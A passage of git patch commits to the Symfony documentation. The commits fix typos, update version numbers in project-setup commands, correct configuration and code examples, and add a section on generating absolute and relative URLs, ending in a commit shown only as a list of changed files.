From c2e8f1764e43b763630cc264880f7de456d37866 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <bruno.baguette@gmail.com>
Date: Wed, 1 Dec 2021 21:38:31 +0100
Subject: [PATCH 2766/7107] =?UTF-8?q?Typo=20fix=20:=20"Thees"=20=E2=9E=A4?=
 =?UTF-8?q?=20"These"?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 40e1d5e7986..2f03abb49df 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -587,7 +587,7 @@ events specified in the workflow configuration. In the above example the
 ``workflow.leave`` event will not be fired, even if it has been specified as an
 event to be dispatched for all transitions in the workflow configuration.
 
-Thees are all the available constants:
+These are all the available constants:
 
     * ``Workflow::DISABLE_LEAVE_EVENT``
     * ``Workflow::DISABLE_TRANSITION_EVENT``

From ccc04feedfaa3d6a9a0a88df809af5ae45d98ebe Mon Sep 17 00:00:00 2001
From: Pierre Galvez <login@pierre-galvez.fr>
Date: Wed, 1 Dec 2021 22:05:07 +0100
Subject: [PATCH 2767/7107] Fix exemple config

The reset_on_message config is in messenger and not in async.
---
 messenger.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 59ac3a5fb4e..3bae8e29f8b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -719,10 +719,11 @@ reset the service container between two messages:
         # config/packages/messenger.yaml
         framework:
             messenger:
+                reset_on_message: true
                 transports:
                     async:
                         dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
-                        reset_on_message: true
+                        
 
     .. code-block:: xml
 

From 92d26eb9f6852940fc8e52190295098c0807f4f0 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Thu, 2 Dec 2021 10:17:19 +0330
Subject: [PATCH 2768/7107] Update setup.rst (Symfony 6.0)

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index 5df1a17b22c..5e184d7437f 100644
--- a/setup.rst
+++ b/setup.rst
@@ -278,7 +278,7 @@ create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/website-skeleton:"^5.4" my_project_name
+    $ composer create-project symfony/skeleton:"^5.4" my_project_name
 
 The Symfony Demo application
 ----------------------------

From 3b34bfde57ffd508deb0173d0b49c7a97f672d85 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Thu, 2 Dec 2021 10:20:18 +0330
Subject: [PATCH 2769/7107] Update setup.rst (Symfony 6.1)

---
 setup.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/setup.rst b/setup.rst
index 5df1a17b22c..87dc893ed56 100644
--- a/setup.rst
+++ b/setup.rst
@@ -54,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --full
+    $ symfony new my_project_name --version=6.1 --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name
+    $ symfony new my_project_name --version=6.1
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -69,10 +69,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton my_project_name
+    $ composer create-project symfony/website-skeleton:"^6.1" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton my_project_name
+    $ composer create-project symfony/skeleton:"^6.1" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies
@@ -278,7 +278,7 @@ create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/website-skeleton:"^5.4" my_project_name
+    $ composer create-project symfony/skeleton:"^5.4" my_project_name
 
 The Symfony Demo application
 ----------------------------

From a11c59990d65f6b3437604165ad2f7d3504d906c Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Thu, 2 Dec 2021 10:21:41 +0330
Subject: [PATCH 2770/7107] Update setup.rst (Symfony 4.4)

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index e4049c4a1bc..7c2e7536d98 100644
--- a/setup.rst
+++ b/setup.rst
@@ -271,7 +271,7 @@ create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/website-skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/skeleton:"^4.4" my_project_name
 
 The Symfony Demo application
 ----------------------------

From ca12801a7b524182f773b1c84543df3b00111381 Mon Sep 17 00:00:00 2001
From: Hugo Nicolas <hugo.nicolas.hn@gmail.com>
Date: Thu, 2 Dec 2021 07:56:44 +0100
Subject: [PATCH 2771/7107] docs(lock): fix typo in symfony lock documentation

---
 lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lock.rst b/lock.rst
index 3fde32ee190..de61cfb133b 100644
--- a/lock.rst
+++ b/lock.rst
@@ -190,7 +190,7 @@ Locking a Dynamic Resource
 
 Sometimes the application is able to cut the resource into small pieces in order
 to lock a small subset of process and let other through. In our previous example
-with see how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
+we've seen how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
 now let's see how to lock ``$pdf->getOrCreatePdf($version)`` only for
 processes asking for the same ``$version``::
 

From d19515c6a2a506e8d01fdc138f5e6ef1c77352a8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Dec 2021 11:59:32 +0100
Subject: [PATCH 2772/7107] Minor tweaks

---
 templates.rst | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 7993826e30e..e25bcb790f1 100644
--- a/templates.rst
+++ b/templates.rst
@@ -513,7 +513,7 @@ provided by Symfony:
                 # the path of the template to render
                 template:  'static/privacy.html.twig'
 
-                # the status code to include in the response headers
+                # the response status code (default: 200)
                 statusCode: 200
 
                 # special options defined by Symfony to set the page cache
@@ -542,6 +542,9 @@ provided by Symfony:
                 <!-- the path of the template to render -->
                 <default key="template">static/privacy.html.twig</default>
 
+                <!-- the response status code (default: 200) -->
+                <default key="statusCode">200</default>
+
                 <!-- special options defined by Symfony to set the page cache -->
                 <default key="maxAge">86400</default>
                 <default key="sharedAge">86400</default>
@@ -570,6 +573,9 @@ provided by Symfony:
                     // the path of the template to render
                     'template'  => 'static/privacy.html.twig',
 
+                    // the response status code (default: 200)
+                    'statusCode' => 200,
+
                     // special options defined by Symfony to set the page cache
                     'maxAge'    => 86400,
                     'sharedAge' => 86400,
@@ -590,6 +596,10 @@ provided by Symfony:
 
     The ``context`` option was introduced in Symfony 5.1.
 
+.. versionadded:: 5.4
+
+    The ``statusCode`` option was introduced in Symfony 5.4.
+
 Checking if a Template Exists
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From ea119773970539764ecb31a2fdef8cb50b14db47 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Dec 2021 12:05:09 +0100
Subject: [PATCH 2773/7107] Tweak

---
 lock.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/lock.rst b/lock.rst
index de61cfb133b..7b318b6c3a3 100644
--- a/lock.rst
+++ b/lock.rst
@@ -189,8 +189,8 @@ Locking a Dynamic Resource
 --------------------------
 
 Sometimes the application is able to cut the resource into small pieces in order
-to lock a small subset of process and let other through. In our previous example
-we've seen how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
+to lock a small subset of process and let other through. The previous example
+showed how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
 now let's see how to lock ``$pdf->getOrCreatePdf($version)`` only for
 processes asking for the same ``$version``::
 

From 6e4b85bd50bed0ed7ae594b053ab91eeb19140de Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Dec 2021 12:24:42 +0100
Subject: [PATCH 2774/7107] Tweak

---
 messenger.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 3bae8e29f8b..87fa30ea818 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -723,7 +723,6 @@ reset the service container between two messages:
                 transports:
                     async:
                         dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
-                        
 
     .. code-block:: xml
 

From 4417f13b90078472f875ce6af6cbb5c5da2c6c90 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Dec 2021 12:49:23 +0100
Subject: [PATCH 2775/7107] [DomCrawler] Fix typo

---
 components/dom_crawler.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 170127b839f..e39a04224e5 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -230,8 +230,8 @@ Access the value of the first node of the current selection::
     // pass FALSE as the second argument to return the original text unchanged
     $crawler->filterXPath('//body/p')->text('Default text content', false);
 
-    // innerText() is similar to text() but returns only the text that is
-    // the direct descendent of the current node, excluding any child nodes
+    // innerText() is similar to text() but only returns the text that is
+    // the direct descendant of the current node, excluding any child nodes
     $text = $crawler->filterXPath('//body/p')->innerText();
     // if content is <p>Foo <span>Bar</span></p>
     // innerText() returns 'Foo' and text() returns 'Foo Bar'

From 789d6b658ea60c3230e46900a69f62a7051c148a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micka=C3=ABl=20Isaert?= <mickael.isaert@gmail.com>
Date: Thu, 2 Dec 2021 16:18:08 +0100
Subject: [PATCH 2776/7107] [Setup] Fix references of previous version

---
 setup/upgrade_major.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index b52b0ad61de..f2cffe9679c 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -33,9 +33,9 @@ it will be removed/changed in the future and that you should stop using it.
 When the major version is released (e.g. 6.0.0), all deprecated features and
 functionality are removed. So, as long as you've updated your code to stop
 using these deprecated features in the last version before the major (e.g.
-``4.4.*``), you should be able to upgrade without a problem. That means that
+``5.4.*``), you should be able to upgrade without a problem. That means that
 you should first :doc:`upgrade to the last minor version </setup/upgrade_minor>`
-(e.g. 4.4) so that you can see *all* the deprecations.
+(e.g. 5.4) so that you can see *all* the deprecations.
 
 To help you find deprecations, notices are triggered whenever you end up
 using a deprecated feature. When visiting your application in the
@@ -104,7 +104,7 @@ done!
 .. sidebar:: Using the Weak Deprecations Mode
 
     Sometimes, you can't fix all deprecations (e.g. something was deprecated
-    in 4.4 and you still need to support 4.3). In these cases, you can still
+    in 5.4 and you still need to support 5.3). In these cases, you can still
     use the bridge to fix as many deprecations as possible and then allow
     more of them to make your tests pass again. You can do this by using the
     ``SYMFONY_DEPRECATIONS_HELPER`` env variable:
@@ -167,7 +167,7 @@ this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0:
       "extra": {
           "symfony": {
               "allow-contrib": false,
-    -       "require": "4.4.*"
+    -       "require": "5.4.*"
     +       "require": "6.0.*"
           }
       }

From 167f5619e54e81b90d124f458205f9bc1d22846b Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre@users.noreply.github.com>
Date: Thu, 2 Dec 2021 17:25:54 +0100
Subject: [PATCH 2777/7107] PHP 8.1 is the last release

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index 5df1a17b22c..adbec8c27a4 100644
--- a/setup.rst
+++ b/setup.rst
@@ -23,7 +23,7 @@ Before creating your first Symfony application you must:
 
   * Note that all newer, released versions of PHP will be supported during the
     lifetime of each Symfony release (including new major versions).
-    For example, PHP 8.0 is supported.
+    For example, PHP 8.1 is supported.
 * `Install Composer`_, which is used to install PHP packages.
 
 Optionally, you can also `install Symfony CLI`_. This creates a binary called

From ced58a09bc9e6deb2f207f296ffa01dd73bccf92 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Thu, 2 Dec 2021 10:13:01 +0330
Subject: [PATCH 2778/7107] Update setup.rst (Symfony 5.3)

---
 setup.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/setup.rst b/setup.rst
index 5381f7bcee8..c795feab42e 100644
--- a/setup.rst
+++ b/setup.rst
@@ -54,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --full
+    $ symfony new my_project_name --version=5.3 --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name
+    $ symfony new my_project_name --version=5.3
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -69,10 +69,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton my_project_name
+    $ composer create-project symfony/website-skeleton:"^5.3" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton my_project_name
+    $ composer create-project symfony/skeleton:"^5.3" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies
@@ -271,14 +271,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_name --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_name --version=4.4
+    $ symfony new my_project_name --version=5.4
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/skeleton:"^5.4" my_project_name
 
 The Symfony Demo application
 ----------------------------

From c10e3d807bc675b99203ca8fdb9549bf60745d99 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Thu, 2 Dec 2021 10:15:28 +0330
Subject: [PATCH 2779/7107] Update setup.rst (Symfony 5.4)

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index c795feab42e..bd8e018da8f 100644
--- a/setup.rst
+++ b/setup.rst
@@ -54,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version=5.3 --full
+    $ symfony new my_project_name --version=5.4 --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version=5.3
+    $ symfony new my_project_name --version=5.4
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -69,10 +69,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"^5.3" my_project_name
+    $ composer create-project symfony/website-skeleton:"^5.4" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"^5.3" my_project_name
+    $ composer create-project symfony/skeleton:"^5.4" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 89a5ee0580903f63a182829370c2bcc8ce2c5bc4 Mon Sep 17 00:00:00 2001
From: Egor Ushakov <eushakov@gmail.com>
Date: Sun, 28 Nov 2021 23:55:55 +0300
Subject: [PATCH 2780/7107] Update handler_results.rst

---
 messenger/handler_results.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
index ee3b09dc99d..8d630d011f4 100644
--- a/messenger/handler_results.rst
+++ b/messenger/handler_results.rst
@@ -11,7 +11,7 @@ You can use this to get the value returned by the handler(s)::
     use Symfony\Component\Messenger\MessageBusInterface;
     use Symfony\Component\Messenger\Stamp\HandledStamp;
 
-    $envelope = $messageBus->dispatch(SomeMessage());
+    $envelope = $messageBus->dispatch(new SomeMessage());
 
     // get the value that was returned by the last message handler
     $handledStamp = $envelope->last(HandledStamp::class);

From 5720f50c52cb8164ba923a240e9c48b6b6e79e81 Mon Sep 17 00:00:00 2001
From: Sander De la Marche <sander@sumocoders.be>
Date: Mon, 29 Nov 2021 21:03:00 +0100
Subject: [PATCH 2781/7107] Add UrlHelper section to HttpFoundation docs

---
 components/http_foundation.rst | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 6154119e715..ec3450a7ed0 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -783,6 +783,38 @@ The following example shows how to detect if the user agent prefers "safe" conte
         $response->setContentSafe();
 
         return $response;
+
+UrlHelper
+-------
+
+Generating absolute (and relative) URLs for a given path is a common need
+in lots of applications. In Twig templates this is trivial thanks to the
+absolute_url() and relative_path() functions. The same functionality can
+be found in the :class:`Symfony\\Component\\HttpFoundation\\UrlHelper` class,
+which can be injected as a service anywhere in your application. This class
+provides two public methods called getAbsoluteUrl() and getRelativePath()::
+
+    // src/Normalizer/UserApiNormalizer.php
+
+    namespace App\Normalizer;
+
+    use Symfony\Component\HttpFoundation\UrlHelper;
+
+    class UserApiNormalizer
+    {
+        private UrlHelper $urlHelper;
+
+        public function __construct(UrlHelper $urlHelper)
+        {
+            $this->urlHelper = $urlHelper;
+        }
+
+        public function normalize($user)
+        {
+            return [
+                'avatar' => $this->urlHelper->getAbsoluteUrl($user->avatar()->path()),
+            ];
+        }
     }
 
 Learn More

From eee8c62280308ed2dadfea88fd0c9d1aa92eabe3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Dec 2021 17:44:13 +0100
Subject: [PATCH 2782/7107] Minor reword

---
 components/http_foundation.rst | 23 ++++++++++++++---------
 reference/twig_reference.rst   |  4 ++++
 2 files changed, 18 insertions(+), 9 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index ec3450a7ed0..344b88d6e99 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -784,18 +784,23 @@ The following example shows how to detect if the user agent prefers "safe" conte
 
         return $response;
 
-UrlHelper
--------
+Generating Relative and Absolute URLs
+-------------------------------------
 
-Generating absolute (and relative) URLs for a given path is a common need
-in lots of applications. In Twig templates this is trivial thanks to the
-absolute_url() and relative_path() functions. The same functionality can
-be found in the :class:`Symfony\\Component\\HttpFoundation\\UrlHelper` class,
-which can be injected as a service anywhere in your application. This class
-provides two public methods called getAbsoluteUrl() and getRelativePath()::
+.. versionadded:: 5.4
 
-    // src/Normalizer/UserApiNormalizer.php
+    The feature to generate relative and absolute URLs was introduced in Symfony 5.4.
+
+Generating absolute and relative URLs for a given path is a common need
+in some applications. In Twig templates you can use the
+:ref:`absolute_url() <reference-twig-function-absolute-url>` and
+:ref:`relative_path() <reference-twig-function-relative-path>` functions to do that.
 
+The :class:`Symfony\\Component\\HttpFoundation\\UrlHelper` class provides the
+same functionality for PHP code via the ``getAbsoluteUrl()`` and ``getRelativePath()``
+methods. You can inject this as a service anywhere in your application::
+
+    // src/Normalizer/UserApiNormalizer.php
     namespace App\Normalizer;
 
     use Symfony\Component\HttpFoundation\UrlHelper;
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index e4991845096..d2246edef52 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -225,6 +225,8 @@ Returns the absolute URL (with scheme and host) for the given route. If
     Read more about :doc:`Symfony routing </routing>` and about
     :ref:`creating links in Twig templates <templates-link-to-pages>`.
 
+.. _reference-twig-function-absolute-url:
+
 absolute_url
 ~~~~~~~~~~~~
 
@@ -239,6 +241,8 @@ Returns the absolute URL (with scheme and host) from the passed relative path. C
 :ref:`asset() function <reference-twig-function-asset>` to generate absolute URLs
 for web assets. Read more about :ref:`Linking to CSS, JavaScript and Image Assets <templates-link-to-assets>`.
 
+.. _reference-twig-function-relative-path:
+
 relative_path
 ~~~~~~~~~~~~~
 

From 89f89f72972b275251cd42014577bfccfd1795c5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Dec 2021 17:45:00 +0100
Subject: [PATCH 2783/7107] Remove a versionadded directive

---
 components/http_foundation.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index ab410bf19b8..3e2abc7288f 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -761,10 +761,6 @@ The following example shows how to detect if the user agent prefers "safe" conte
 Generating Relative and Absolute URLs
 -------------------------------------
 
-.. versionadded:: 5.4
-
-    The feature to generate relative and absolute URLs was introduced in Symfony 5.4.
-
 Generating absolute and relative URLs for a given path is a common need
 in some applications. In Twig templates you can use the
 :ref:`absolute_url() <reference-twig-function-absolute-url>` and

From d957600d184e852abc70ae4cdf7a3ec22887ce26 Mon Sep 17 00:00:00 2001
From: Guillaume HARARI <guillaumeharari@hotmail.com>
Date: Fri, 3 Dec 2021 22:51:45 +0100
Subject: [PATCH 2784/7107] Update doctrine.rst

Since 5.4, documentation inject ManagerRegistry but kept Doctrine\ORM\EntityManagerInterface in uses.
---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index b2ac440d72a..4e1bc649d39 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -361,7 +361,7 @@ and save it::
 
     // ...
     use App\Entity\Product;
-    use Doctrine\ORM\EntityManagerInterface;
+    use Doctrine\Persistence\ManagerRegistry;
     use Symfony\Component\HttpFoundation\Response;
 
     class ProductController extends AbstractController

From 142731afab74430fda36d058616d31c53aa71425 Mon Sep 17 00:00:00 2001
From: jerzy-dudzic <30810342+jerzy-dudzic@users.noreply.github.com>
Date: Sun, 5 Dec 2021 12:51:55 +0100
Subject: [PATCH 2785/7107] Removed not needed jQuery mention

Removed mention of required jQuery library for example of "allow_add" in Form Collections. Since 5.3 example is pure javascript
---
 form/form_collections.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index c58bf996235..078b74323e0 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -281,9 +281,7 @@ On the rendered page, the result will look something like this:
     and you need to adjust the following JavaScript accordingly.
 
 Now add some JavaScript to read this attribute and dynamically add new tag forms
-when the user clicks the "Add a tag" link. This example uses `jQuery`_ and
-assumes you have it included somewhere on your page (e.g. using Symfony's
-:doc:`Webpack Encore </frontend>`).
+when the user clicks the "Add a tag" link.
 
 Add a ``<script>`` tag somewhere on your page to include the required
 functionality with JavaScript:

From 794dcdf69cbf1d5fa837a2f155bad1f72e69e2f0 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sun, 5 Dec 2021 13:14:21 -0400
Subject: [PATCH 2786/7107] Fix broken AuthenticationSuccessEvent event link

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 912ad871b1d..46ab7863a38 100644
--- a/security.rst
+++ b/security.rst
@@ -2575,7 +2575,7 @@ Authentication Events
     where you need to modify the created token (e.g. for multi factor
     authentication).
 
-:class:`Symfony\\Component\\Security\\Http\\Event\\AuthenticationSuccessEvent`
+:class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationSuccessEvent`
     Dispatched when authentication is nearing success. This is the last
     event that can make an authentication fail by throwing an
     ``AuthenticationException``.

From 73b847d1de08dd0a052e7d7f94f61558c33fb7b6 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 7 Dec 2021 00:24:48 +0100
Subject: [PATCH 2787/7107] Using const `Response::HTTP_MOVED_PERMANENTLY` for
 redirect

---
 controller.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/controller.rst b/controller.rst
index ec20a05daa8..54808d2289e 100644
--- a/controller.rst
+++ b/controller.rst
@@ -132,6 +132,7 @@ If you want to redirect the user to another page, use the ``redirectToRoute()``
 and ``redirect()`` methods::
 
     use Symfony\Component\HttpFoundation\RedirectResponse;
+    use Symfony\Component\HttpFoundation\Response
 
     // ...
     public function index(): RedirectResponse
@@ -142,8 +143,8 @@ and ``redirect()`` methods::
         // redirectToRoute is a shortcut for:
         // return new RedirectResponse($this->generateUrl('homepage'));
 
-        // does a permanent - 301 redirect
-        return $this->redirectToRoute('homepage', [], 301);
+        // does a permanent HTTP 301 redirect
+        return $this->redirectToRoute('homepage', [], Response::HTTP_MOVED_PERMANENTLY);
 
         // redirect to a route with parameters
         return $this->redirectToRoute('app_lucky_number', ['max' => 10]);

From 29c2bec52afb169e544c2e57bf37c8506c922b35 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Dec 2021 09:59:26 +0100
Subject: [PATCH 2788/7107] Tweak

---
 controller.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/controller.rst b/controller.rst
index 54808d2289e..faa9d08e41a 100644
--- a/controller.rst
+++ b/controller.rst
@@ -144,6 +144,8 @@ and ``redirect()`` methods::
         // return new RedirectResponse($this->generateUrl('homepage'));
 
         // does a permanent HTTP 301 redirect
+        return $this->redirectToRoute('homepage', [], 301);
+        // if you prefer, you can use PHP constants instead of hardcoded numbers
         return $this->redirectToRoute('homepage', [], Response::HTTP_MOVED_PERMANENTLY);
 
         // redirect to a route with parameters

From 8efc947d7f9fa609fbb5b8d4edb62b62a2a22940 Mon Sep 17 00:00:00 2001
From: Goran Grbic <tpojka@gmail.com>
Date: Tue, 3 Nov 2020 17:59:18 +0100
Subject: [PATCH 2789/7107] Minor change in description

---
 .doctor-rst.yaml                              |   15 +-
 .github/CODEOWNERS                            |    3 +
 .github/workflows/ci.yaml                     |  155 +-
 .gitignore                                    |    5 -
 .symfony.cloud.yaml                           |   48 -
 .symfony/routes.yaml                          |   11 -
 .symfony/services.yaml                        |    1 -
 Dockerfile                                    |   16 -
 README.markdown                               |   58 +-
 _build/.requirements.txt                      |    6 -
 _build/Makefile                               |  153 -
 _build/_exts/symfonycom/__init__.py           |    0
 _build/_exts/symfonycom/sphinx/__init__.py    |   86 -
 _build/_exts/symfonycom/sphinx/lexer.py       |   23 -
 _build/_static/rtd_custom.css                 |   23 -
 _build/_static/symfony-logo.svg               |    1 -
 _build/build.php                              |   53 +-
 _build/composer.json                          |   13 +-
 _build/composer.lock                          | 1074 +++----
 _build/conf.py                                |  302 --
 _build/maintainer_guide.rst                   |   37 +
 _build/make.bat                               |  263 --
 _build/redirection_map                        |   40 +-
 _images/components/console/cursor.gif         |  Bin 0 -> 64894 bytes
 _images/components/form/general_flow.png      |  Bin 10427 -> 0 bytes
 _images/components/form/set_data_flow.png     |  Bin 8588 -> 0 bytes
 _images/components/form/submission_flow.png   |  Bin 10285 -> 0 bytes
 .../components/workflow/blogpost_mermaid.png  |  Bin 0 -> 24123 bytes
 _images/docs-pull-request-change-base.png     |  Bin 5849 -> 0 bytes
 ...tom-type-postal-address-fragment-names.svg |    2 +-
 .../form/form-custom-type-postal-address.svg  |    2 +-
 _images/form/form_prepopulation_workflow.svg  |   54 +
 _images/form/form_submission_workflow.svg     |   76 +
 _images/form/form_workflow.svg                |   66 +
 .../notifier/microsoft_teams/message-card.png |  Bin 0 -> 27738 bytes
 _images/notifier/microsoft_teams/message.png  |  Bin 0 -> 7777 bytes
 _images/notifier/slack/field-method.png       |  Bin 0 -> 17302 bytes
 _images/notifier/slack/message-reply.png      |  Bin 0 -> 41766 bytes
 _images/notifier/slack/slack-footer.png       |  Bin 0 -> 16064 bytes
 _images/notifier/slack/slack-header.png       |  Bin 0 -> 10140 bytes
 _images/rate_limiter/fixed_window.svg         |   84 +
 _images/rate_limiter/sliding_window.svg       |   65 +
 _images/rate_limiter/token_bucket.svg         |   83 +
 _images/security/anonymous_wdt.png            |  Bin 7355 -> 17124 bytes
 _images/security/security_events.svg          |  338 ++
 _images/sources/README.md                     |    6 +
 ...tom-type-postal-address-fragment-names.dia |  Bin 2578 -> 2580 bytes
 .../form/form-custom-type-postal-address.dia  |  Bin 2075 -> 2078 bytes
 _images/sources/form/form_events.dia          |  Bin 0 -> 3179 bytes
 _images/sources/rate_limiter/fixed_window.dia |  Bin 0 -> 2356 bytes
 .../sources/rate_limiter/sliding_window.dia   |  Bin 0 -> 2190 bytes
 _images/sources/rate_limiter/token_bucket.dia |  Bin 0 -> 2752 bytes
 _images/sources/security/security_events.dia  |  Bin 0 -> 2566 bytes
 .../service_container/_my_mailer.rst.inc      |   33 -
 best_practices.rst                            |   26 +-
 bundles.rst                                   |    1 -
 bundles/best_practices.rst                    |  242 +-
 bundles/configuration.rst                     |   27 +-
 bundles/prepend_extension.rst                 |    5 +
 cache.rst                                     |  323 +-
 components/asset.rst                          |    2 +
 components/browser_kit.rst                    |   16 +-
 components/cache.rst                          |   41 +-
 .../adapters/couchbasebucket_adapter.rst      |   14 +-
 .../adapters/couchbasecollection_adapter.rst  |  147 +
 .../cache/adapters/doctrine_adapter.rst       |    5 +
 .../cache/adapters/filesystem_adapter.rst     |   11 +-
